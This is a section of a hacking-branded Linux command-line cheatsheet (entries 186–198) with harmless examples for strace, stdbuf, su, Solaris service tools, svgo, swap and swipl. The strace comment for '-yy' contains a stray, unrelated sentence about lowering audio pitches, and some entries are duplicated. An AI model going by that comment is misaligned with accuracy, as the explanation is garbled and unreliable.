              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

186 - 🖥️stdbuf

➡️This is a command-line reference manual for commands and command combinations that you don’t use often enough to remember it. This cheatsheet explains the stdbuf command with important options and switches using examples.

▁ ▂ ▃ ▄ ꧁ 🔴☠ COMMANDLINE-KUNGFU WITH CHEATSHEETS ☠🔴꧂▅ ▃ ▂ ▁

#  ███████╗████████╗██████╗ ██████╗ ██╗   ██╗███████╗
#  ██╔════╝╚══██╔══╝██╔══██╗██╔══██╗██║   ██║██╔════╝
#  ███████╗   ██║   ██║  ██║██████╔╝██║   ██║█████╗  
#  ╚════██║   ██║   ██║  ██║██╔══██╗██║   ██║██╔══╝  
#  ███████║   ██║   ██████╔╝██████╔╝╚██████╔╝██║
#  ╚══════╝   ╚═╝   ╚═════╝ ╚═════╝  ╚═════╝ ╚═╝

# Ping Google, but use Keyboard LED light 3 for feedback. Completely pointless, but fun.
ping 8.8.8.8 | stdbuf -oL awk -F[=\ ] '/from/{ms=$(NF-1); print ms/1000.0 " " 1-ms/1000.0}' | while read on off ; do echo $on $off ; xset led 3 ; sleep $on ; xset -led 3 ; sleep $off ; done 
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

187 - 🖥️stdout

➡️This is a command-line reference manual for commands and command combinations that you don’t use often enough to remember it. This cheatsheet explains the stdout command with important options and switches using examples.

▁ ▂ ▃ ▄ ꧁ 🔴☠ COMMANDLINE-KUNGFU WITH CHEATSHEETS ☠🔴꧂▅ ▃ ▂ ▁

#                ███████╗████████╗██████╗  ██████╗ ██╗   ██╗████████╗
#                ██╔════╝╚══██╔══╝██╔══██╗██╔═══██╗██║   ██║╚══██╔══╝
#                ███████╗   ██║   ██║  ██║██║   ██║██║   ██║   ██║   
#                ╚════██║   ██║   ██║  ██║██║   ██║██║   ██║   ██║   
#                ███████║   ██║   ██████╔╝╚██████╔╝╚██████╔╝   ██║   
#                ╚══════╝   ╚═╝   ╚═════╝  ╚═════╝  ╚═════╝    ╚═╝   
                                                                    
                                                                  
# To redirect stderr to stdout:
some-command 2>&1

# To redirect stderr to a file
some-command 2> errors.txt

#==============================##==============================#
# CMD STDOUT						       #
#==============================##==============================#
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

188 - 🖥️stocks

➡️This is a command-line reference manual for commands and command combinations that you don’t use often enough to remember it. This cheatsheet explains the stocks command with important options and switches using examples.

▁ ▂ ▃ ▄ ꧁ 🔴☠ COMMANDLINE-KUNGFU WITH CHEATSHEETS ☠🔴꧂▅ ▃ ▂ ▁

#  ███████╗████████╗ ██████╗  ██████╗██╗  ██╗███████╗
#  ██╔════╝╚══██╔══╝██╔═══██╗██╔════╝██║ ██╔╝██╔════╝
#  ███████╗   ██║   ██║   ██║██║     █████╔╝ ███████╗
#  ╚════██║   ██║   ██║   ██║██║     ██╔═██╗ ╚════██║
#  ███████║   ██║   ╚██████╔╝╚██████╗██║  ██╗███████║
#  ╚══════╝   ╚═╝    ╚═════╝  ╚═════╝╚═╝  ╚═╝╚══════╝

# stocks (Bash-Snippets)
# Finds the latest information on a certain stock

# Determine the latest stock information searching by company
stocks Tesla

# Determine the latest stock information searching by stock ticker
stocks AAPL
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

189 - 🖥️strace

➡️This is a command-line reference manual for commands and command combinations that you don’t use often enough to remember it. This cheatsheet explains the strace command with important options and switches using examples.

▁ ▂ ▃ ▄ ꧁ 🔴☠ COMMANDLINE-KUNGFU WITH CHEATSHEETS ☠🔴꧂▅ ▃ ▂ ▁

#                ███████╗████████╗██████╗  █████╗  ██████╗███████╗
#                ██╔════╝╚══██╔══╝██╔══██╗██╔══██╗██╔════╝██╔════╝
#                ███████╗   ██║   ██████╔╝███████║██║     █████╗  
#                ╚════██║   ██║   ██╔══██╗██╔══██║██║     ██╔══╝  
#                ███████║   ██║   ██║  ██║██║  ██║╚██████╗███████╗
#                ╚══════╝   ╚═╝   ╚═╝  ╚═╝╚═╝  ╚═╝ ╚═════╝╚══════╝
                

                                                                 
# Basic stracing
strace <command>

# save the trace to a file
strace -o strace.out <other switches> <command>

# follow only the open() system call
strace -e trace=open <command>

# follow all the system calls which open a file
strace -e trace=file <command>

# follow all the system calls associated with process
# management
strace -e trace=process <command>

# follow child processes as they are created
strace -f <command>

# count time, calls and errors for each system call
strace -c <command>

# trace a running process (multiple PIDs can be specified)
strace -p <pid>

#==============================#
# CMD STRACE
#==============================##==============================#
tee $tmpdir/stdin | strace -f -o $tmpdir/strace.out $origin "$@"
tee $tmpdir/stdin | strace -f -o $tmpdir/strace.out $origin "$@" | tee $tmpdir/stdout

# strace has a two new flags for displaying file and network names instead of numbers - this excites me far more than is healthy: http://jvns.ca/blog/2016/06/07/strace-y/ 

strace -y 
# gives filenames in output 

strace -yy 
# does networks lookups too - I lowered by two octaves to save memory by keeping the pitches under 255 hz (unsigned char). Then I just multiply by 4. Thanks Pythagoras.

strace -e open openssl s_client -crlf -quiet -starttls smtp -connect smtp.example\.com:25
# Use strace to show the files openssl is opening.

strace ping -c1 localhost 2>&1|grep EPERM
# socket(PF_INET, SOCK_RAW, IPPROTO_ICMP) = -1 EPERM

# strace has a two new flags for displaying file and network names instead of numbers. this excites me far more than is healthy: http://jvns.ca/blog/2016/06/07/strace-y/ strace -y gives filenames in output -yy does networks lookups too

strace -e open openssl s_client -crlf -quiet -starttls smtp -connect smtp.example\.com:25
# Use strace to show the files openssl is opening.

strace -p 927 -o smtpd -ff -tt 
# strace is a sysadmin godsend. This will follow pid 927 and its children, writing to smtpd.<pid>

strace df -h
# Trace Linux Command System Calls - You can simply run a command with strace like this, here we are tracing of all system calls made by the df command.

strace -p 3569
# Trace Linux Process PID - If a process is already running, you can trace it by simply passing its PID as follows; this will fill your screen with continues output that shows system calls being made by the process, to end it, press [Ctrl + C].

strace -c -p 3569
# Get Summary of Linux Process - Using the -c flag, you can generate a report of total time, calls, and errors for each system call, as follows.

strace -i df -h
# Print Instruction Pointer During System Call - The -i option displays the instruction pointer at the time of each system call made by the program.

strace -t df -h
# Show Time of Day For Each Trace Output Line - You can also print the time of day for each line in the trace output, by passing the -t flag.

strace -T df -h
# Print Command Time Spent in System Calls - To shows the time difference between the starting and the end of each system call made by a program, use the -T option.

strace -e trace=write df -h
# Trace Only Specific System Calls - In the command below, trace=write is known as a qualifying expression, where trace is a qualifier (others include signal, abbrev, verbose, raw, read, or write). Here, write is the value of the qualifier. The following command actually shows the system calls to print df output on standard output.

strace -e trace=open,close df -h
strace -e trace=open,close,read,write df -h
strace -e trace=all df -h	
# Here are some additional commands about trace qualifier.

strace -q -e trace=process df -h	
# Trace System Calls Based on a Certain Condition - Let’s look at how to trace system calls relating to a given class of events. This command can be used to trace all system calls involving process management.

strace -q  -e trace=file df -h
# To trace all system calls that take a filename as an argument, run this command.

strace -q -e trace=memory df -h	
# To trace all system calls involving memory mapping, type.

strace -e trace=network df -h
strace -e trace=signal df -h
# You can trace all network and signals related system calls.

strace -o df_debug.txt df -h
# Redirect Trace Output to File - To write the trace messages sent to standard error to a file, use the -o option. This means that only the command output is printed on the screen as shown below.

strace -d df -h
# Show Some Debugging Output of Strace - To show debugging information for strace tool, use the -d flag.

strace -e open -p 4450 -p 5523 
# What the hell are process ids 4450 and 5523 trying to open that's driving up the system load so much? This only filters out the open syscalls. For all of them, just leave the -e open part off.

# pipe waldwuffel
ps auxw | grep sbin/apache | grep nws | awk '{print"-p " $2}' | xargs strace

# Linux shell processes discovery - more details about some process with PID, for example, 10406
strace -p 10406

# See syscalls of PID 1205. Processes don't have to be a black box, you can use strace (on Linux) to view the system calls made by a process, which may give some clue as to why it's misbehaving, where it is saving a file, etc.
strace -p 1205 

# Find which config-file is read
strace 2>&1 geany |grep geany.conf

# Linux system calls of MySQL process
strace -c -p $(pidof -s mysqld) -f -e trace=all

#==============================##==============================#
# CMD STRACE
#==============================##==============================#
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

190 - 🖥️su

➡️This is a command-line reference manual for commands and command combinations that you don’t use often enough to remember it. This cheatsheet explains the su command with important options and switches using examples.

▁ ▂ ▃ ▄ ꧁ 🔴☠ COMMANDLINE-KUNGFU WITH CHEATSHEETS ☠🔴꧂▅ ▃ ▂ ▁

#                ███████╗██╗   ██╗
#                ██╔════╝██║   ██║
#                ███████╗██║   ██║
#                ╚════██║██║   ██║
#                ███████║╚██████╔╝
#                ╚══════╝ ╚═════╝ 
                                 
                                

# The su command lets you change user-identity. Mostly, this command is used to become root or superuser.

su [user-name]

#==============================##==============================#
# CMD SU						       #
#==============================##==============================#
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

191 - 🖥️sum

➡️This is a command-line reference manual for commands and command combinations that you don’t use often enough to remember it. This cheatsheet explains the sum command with important options and switches using examples.

▁ ▂ ▃ ▄ ꧁ 🔴☠ COMMANDLINE-KUNGFU WITH CHEATSHEETS ☠🔴꧂▅ ▃ ▂ ▁

#                ███████╗██╗   ██╗███╗   ███╗
#                ██╔════╝██║   ██║████╗ ████║
#                ███████╗██║   ██║██╔████╔██║
#                ╚════██║██║   ██║██║╚██╔╝██║
#                ███████║╚██████╔╝██║ ╚═╝ ██║
#                ╚══════╝ ╚═════╝ ╚═╝     ╚═╝
                                            
                                           

# The sum command prints checksum and block counts for each input file.

sum readme.txt
45252 5

#==============================##==============================#
# CMD 						       #
#==============================##==============================#
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

192 - 🖥️svcadm

➡️This is a command-line reference manual for commands and command combinations that you don’t use often enough to remember it. This cheatsheet explains the svcadm command with important options and switches using examples.

▁ ▂ ▃ ▄ ꧁ 🔴☠ COMMANDLINE-KUNGFU WITH CHEATSHEETS ☠🔴꧂▅ ▃ ▂ ▁

#  ███████╗██╗   ██╗ ██████╗ █████╗ ██████╗ ███╗   ███╗
#  ██╔════╝██║   ██║██╔════╝██╔══██╗██╔══██╗████╗ ████║
#  ███████╗██║   ██║██║     ███████║██║  ██║██╔████╔██║
#  ╚════██║╚██╗ ██╔╝██║     ██╔══██║██║  ██║██║╚██╔╝██║
#  ███████║ ╚████╔╝ ╚██████╗██║  ██║██████╔╝██║ ╚═╝ ██║
#  ╚══════╝  ╚═══╝   ╚═════╝╚═╝  ╚═╝╚═════╝ ╚═╝     ╚═╝

# svcadm
# Manipulate service instances (Solaris)

# Enable a service in the service database:
svcadm enable service_name

# Disable service:
svcadm disable service_name

# Restart a running service:
svcadm restart service_name

# Command service to re-read configuration files:
svcadm refresh service_name

# Clear a service from maintenance state and command it to start:
svcadm clear service_name
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

193 - 🖥️svccfg

➡️This is a command-line reference manual for commands and command combinations that you don’t use often enough to remember it. This cheatsheet explains the svccfg command with important options and switches using examples.

▁ ▂ ▃ ▄ ꧁ 🔴☠ COMMANDLINE-KUNGFU WITH CHEATSHEETS ☠🔴꧂▅ ▃ ▂ ▁

#  ███████╗██╗   ██╗ ██████╗ ██████╗███████╗ ██████╗ 
#  ██╔════╝██║   ██║██╔════╝██╔════╝██╔════╝██╔════╝ 
#  ███████╗██║   ██║██║     ██║     █████╗  ██║  ███╗
#  ╚════██║╚██╗ ██╔╝██║     ██║     ██╔══╝  ██║   ██║
#  ███████║ ╚████╔╝ ╚██████╗╚██████╗██║     ╚██████╔╝
#  ╚══════╝  ╚═══╝   ╚═════╝ ╚═════╝╚═╝      ╚═════╝ 

# svccfg
# Import, export, and modify service configurations (Solaris)

# Validate configuration file:
svccfg validate smf.xml

# Export service configurations to file:
svccfg export servicename > smf.xml

# Import/update service configurations from file:
svccfg import smf.xml
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

194 - 🖥️svcs

➡️This is a command-line reference manual for commands and command combinations that you don’t use often enough to remember it. This cheatsheet explains the svcs command with important options and switches using examples.

▁ ▂ ▃ ▄ ꧁ 🔴☠ COMMANDLINE-KUNGFU WITH CHEATSHEETS ☠🔴꧂▅ ▃ ▂ ▁

#  ███████╗██╗   ██╗ ██████╗███████╗
#  ██╔════╝██║   ██║██╔════╝██╔════╝
#  ███████╗██║   ██║██║     ███████╗
#  ╚════██║╚██╗ ██╔╝██║     ╚════██║
#  ███████║ ╚████╔╝ ╚██████╗███████║
#  ╚══════╝  ╚═══╝   ╚═════╝╚══════╝

# svcs
# List information about running services (Solaris)

# List all running services:
svcs

# List services that are not running:
svcs -vx

# List information about a service:
svcs apache

# Show location of service log file:
svcs -L apache

# Display end of a service log file:
tail $(svcs -L apache)
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

195 - 🖥️svgo

➡️This is a command-line reference manual for commands and command combinations that you don’t use often enough to remember it. This cheatsheet explains the svgo command with important options and switches using examples.

▁ ▂ ▃ ▄ ꧁ 🔴☠ COMMANDLINE-KUNGFU WITH CHEATSHEETS ☠🔴꧂▅ ▃ ▂ ▁

#  ███████╗██╗   ██╗ ██████╗  ██████╗ 
#  ██╔════╝██║   ██║██╔════╝ ██╔═══██╗
#  ███████╗██║   ██║██║  ███╗██║   ██║
#  ╚════██║╚██╗ ██╔╝██║   ██║██║   ██║
#  ███████║ ╚████╔╝ ╚██████╔╝╚██████╔╝
#  ╚══════╝  ╚═══╝   ╚═════╝  ╚═════╝

# svgo
# SVG Optimizer: a Nodejs-based tool for optimizing Scalable Vector Graphics files.
# It applies a series of transformation rules (plugins), which can be toggled individually.

# Optimize a file using the default plugins (overwrites the original file):
svgo test.svg

# Optimize a file and save the result to another file:
svgo test.svg test.min.svg

# Optimize all SVG files within a folder (overwrites the original files):
svgo -f path/to/folder/with/svg/files

# Optimize all SVG files within a folder and save the resulting files to another folder:
svgo -f path/to/input/folder -o path/to/output/folder

# Optimize SVG content passed from another command, and save the result to a file:
cat test.svg | svgo -i - -o test.min.svg

# Optimize a file and print out the result:
svgo test.svg -o -

# Optimize a file making sure a given plugin is enabled:
svgo --enable=plugin_name

# Show available plugins:
svgo --show-plugins
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

196 - 🖥️sw_vers

➡️This is a command-line reference manual for commands and command combinations that you don’t use often enough to remember it. This cheatsheet explains the sw_vers command with important options and switches using examples.

▁ ▂ ▃ ▄ ꧁ 🔴☠ COMMANDLINE-KUNGFU WITH CHEATSHEETS ☠🔴꧂▅ ▃ ▂ ▁

#  ███████╗██╗    ██╗       ██╗   ██╗███████╗██████╗ ███████╗
#  ██╔════╝██║    ██║       ██║   ██║██╔════╝██╔══██╗██╔════╝
#  ███████╗██║ █╗ ██║       ██║   ██║█████╗  ██████╔╝███████╗
#  ╚════██║██║███╗██║       ╚██╗ ██╔╝██╔══╝  ██╔══██╗╚════██║
#  ███████║╚███╔███╔╝███████╗╚████╔╝ ███████╗██║  ██║███████║
#  ╚══════╝ ╚══╝╚══╝ ╚══════╝ ╚═══╝  ╚══════╝╚═╝  ╚═╝╚══════╝

# sw_vers
# Print Mac OSX Software versioning information.

# Print OSX Version
sw_vers -productVersion

# Print OSX Build
sw_vers -buildVersion
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

197 - 🖥️swap

➡️This is a command-line reference manual for commands and command combinations that you don’t use often enough to remember it. This cheatsheet explains the swap command with important options and switches using examples.

▁ ▂ ▃ ▄ ꧁ 🔴☠ COMMANDLINE-KUNGFU WITH CHEATSHEETS ☠🔴꧂▅ ▃ ▂ ▁

#  ███████╗██╗    ██╗ █████╗ ██████╗ 
#  ██╔════╝██║    ██║██╔══██╗██╔══██╗
#  ███████╗██║ █╗ ██║███████║██████╔╝
#  ╚════██║██║███╗██║██╔══██║██╔═══╝ 
#  ███████║╚███╔███╔╝██║  ██║██║     
#  ╚══════╝ ╚══╝╚══╝ ╚═╝  ╚═╝╚═╝

# Clear the swap space forcing everything back to main memory in Linux
swapoff -a; sudo swapon -a

	# Explanation: Note: if you do not have enough main memory the swapoff will fail.
	# Limitations: This works only in Linux.
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

198 - 🖥️swipl

➡️This is a command-line reference manual for commands and command combinations that you don’t use often enough to remember it. This cheatsheet explains the swipl command with important options and switches using examples.

▁ ▂ ▃ ▄ ꧁ 🔴☠ COMMANDLINE-KUNGFU WITH CHEATSHEETS ☠🔴꧂▅ ▃ ▂ ▁

#  ███████╗██╗    ██╗██╗██████╗ ██╗     
#  ██╔════╝██║    ██║██║██╔══██╗██║     
#  ███████╗██║ █╗ ██║██║██████╔╝██║     
#  ╚════██║██║███╗██║██║██╔═══╝ ██║     
#  ███████║╚███╔███╔╝██║██║     ███████╗
#  ╚══════╝ ╚══╝╚══╝ ╚═╝╚═╝     ╚══════╝

# swipl
# SWI-Prolog is a versatile implementation of the Prolog language.

# run plolog interpreter in interactive mode
swipl

# consult file.pl, run goal mygoal(3,foo)
# and then halt the interpreter without entering interactive mode
swipl -s file.pl -g "mygoal(3,foo)." -t halt.
